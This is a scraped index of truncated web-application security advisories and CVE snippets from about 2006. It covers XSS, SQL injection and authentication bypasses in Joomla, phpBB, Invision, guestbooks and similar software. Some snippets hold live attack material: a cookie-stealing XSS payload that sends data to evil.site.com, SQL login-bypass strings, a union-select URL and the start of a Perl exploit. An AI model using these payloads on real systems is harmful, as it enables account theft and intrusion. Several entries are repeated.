Joomla/Mambo CMS Component SimpleBoard 1.1 XSS-Vulnerabilities

Joomla/Mambo CMS Component SimpleBoard 1.1.0 Stable XSS-Vulnerabilities ======================================================================= Release Date ------------ June 01, 2006 Vendor ------- Two Shoes Mambo Factory http://www.tsmf.net/ Version ------- SimpleBoard 1.1.0 Stable comsimpleboa...

Hogstorps guestbook 2.0 Remote Access to Admin Pannel

------------------------------------------------------------------ - Remote Access to Admin Pannel without Authentication - -= http://colander.altervista.org/advisory/HTGuestBook2.txt =- ------------------------------------------------------------------ -= Hogstorps guestbook 2.0 =- Omnipresent M...

CVE-2006-2302

SQL injection vulnerability in admindefault.asp in DUGallery 2.x allows remote attackers to execute arbitrary SQL commands via the 1 Login or 2 password field...

FileProtection101.txt

FileProtection Express = 1.0.1 authentification bypass Discovered by: Nomenumbra Date: 5/2/2006 impact:high privilege escalation,full file access Ok, this is absurd, the only form of authentification to the Admin panel is controlled by a cookie value. Use firefox CookieEditor extension for exampl...

openfaq040XSS.txt

Script: OpenFAQ Version: 0.4.0 previous version probably too. Language: PHP Problem: HTML injection and XSS Cross Site Scripting Vendor: http://sourceforge.net/projects/openfaq Discovered by: Kamil 'K3' Sienicki Description: OpenFAQ is a PHP application that lets Webmasters administrate a...

Sql injection

SQL injection vulnerability in MyBB MyBulletinBoard 1.1.1 allows remote authenticated administrators to execute arbitrary SQL commands via the 1 query string $querystring variable in a admin/adminlogs.php, which is not properly handled by adminfunctions.php; or 2 setid, 3 expand, 4 title, or 5 si...

NextAge Shopping Cart Software XSS

NextAge Shopping Cart Software XSS ------------------------------------------------------- Aria-security.com advisory Bug Discovered by R@1D3N amin emami [email protected] Date:25/04/2005 original advisory:http://www.aria-security.net/advisory/nextage/nextageshoppingcart.txt...

Invision Vulnerabilities, including remote code execution

Several Invision Flaws 2.1.5 and possibly earlier --------------------------------------------------- IceShaman & Wells HackThisSite.org 1 Code execution sources/actionpublic/search.php line 1261 $this-output = pregreplace "value="'$this-ipsclass-input'lastdate'"'i", "1 selected='selected'",...

phpBB Admin command execution

On a phpBB board, a user having access to the admin panel is able to execute PHP code: This example will execute $usersig as PHP code: Go to Administration Panel Styles Admin Management subSilver Edit Set "Font Colour 3" to "'./" Profile Set Signature to...

ReloadCMS-1.2.5.txt

nc target.host.com 80 GET /pathtoreloadcms/ HTTP/1.0 User-Agent: "window.open"http://evil.site.com/grab.php?c="+document.cookie+"&ref="+document.URL;window.close; Host: target.host.com Connection: Close So, when admin see site statistics through the administration panel, javascript will run Once...

dnGuestbook 2.0 - SQL Injection

/ | | | | | SECURITY ADVISORY | | | | | /¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯¯\ advisory: dnGuestbook "dnGuestbook by design-nation.de Version" - 331 msn - "dnGuestbook by design-nation.de Version" - 249 conditions: php.ini - magicquotesgpc = Off greets: all security guys and coders ove...

SiteMan <= All version SQL injection in admin_login.asp

Vendor : SiteMan Target Page : adminlogin.asp Bug Finder : S3rv3rhack3r administrator panel demo: http://www.ispdemos.com/Demo/SiteMan/adminlogin.asp WWW : http://www.ispofegypt.com/ you can login to adminlogin.asp with user : admin pass : ' or '...

JirosBanner.txt

--Security Report-- Advisory: Jiros Banner Experience Pro Remote Privilege Escalation. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 07/03/06 04:52 AM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: Jiros http://www.jiros.net...

Advisory: Jiros Banner Experience Pro Remote Privilege Escalation.

--Security Report-- Advisory: Jiros Banner Experience Pro Remote Privilege Escalation. --- Author: Mustafa Can Bjorn "nukedx a.k.a nuker" IPEKCI --- Date: 07/03/06 04:52 AM --- Contacts: ICQ: 10072 MSN/Email: [email protected] Web: http://www.nukedx.com --- Vendor: Jiros http://www.jiros.net...

loudCMS.txt

"Loudblog is a sleek and easy-to-use Content Management System CMS for publishing media content on the web." SQL Injection in podcast.php magicquotes=off: http://target/loudblog/podcast.php?id=1' and '1'='0' union select...

ASPThai.Net Guestbook <= 5.5 (Auth Bypass) SQL Injection Exploit

Exploit for unknown platform in category web applications ================================================================ ASPThai.Net Guestbook new or die; $cookiejar = HTTP::Cookies-new; $xpl-agent'g00ns'; $xpl-cookiejar$cookiejar; $res = $xpl-post $Server.'checkuser.asp', Content = 'txtUserNam...

CVE-2006-0221

SQL injection vulnerability in index.asp in the Admin Panel in Dragon Design Services Network DDSN cm3 content manager CM3CMS allows remote attackers to execute arbitrary SQL commands via the 1 username or 2 password...

Sql injection

SQL injection vulnerability in index.asp in the Admin Panel in Dragon Design Services Network DDSN cm3 content manager CM3CMS allows remote attackers to execute arbitrary SQL commands via the 1 username or 2 password...

CVE-2006-0221

CVE-2006-0221 describes an SQL injection in the Admin Panel of Dragon Design Services Network (DDSN) cm3 content manager (CM3CMS), exploitable via the (1) username or (2) password fields on index.asp. The underlying issue is unsafely constructed SQL statements that allow remote attackers to execu...

CVE-2006-0221

SQL injection vulnerability in index.asp in the Admin Panel in Dragon Design Services Network DDSN cm3 content manager CM3CMS allows remote attackers to execute arbitrary SQL commands via the 1 username or 2 password...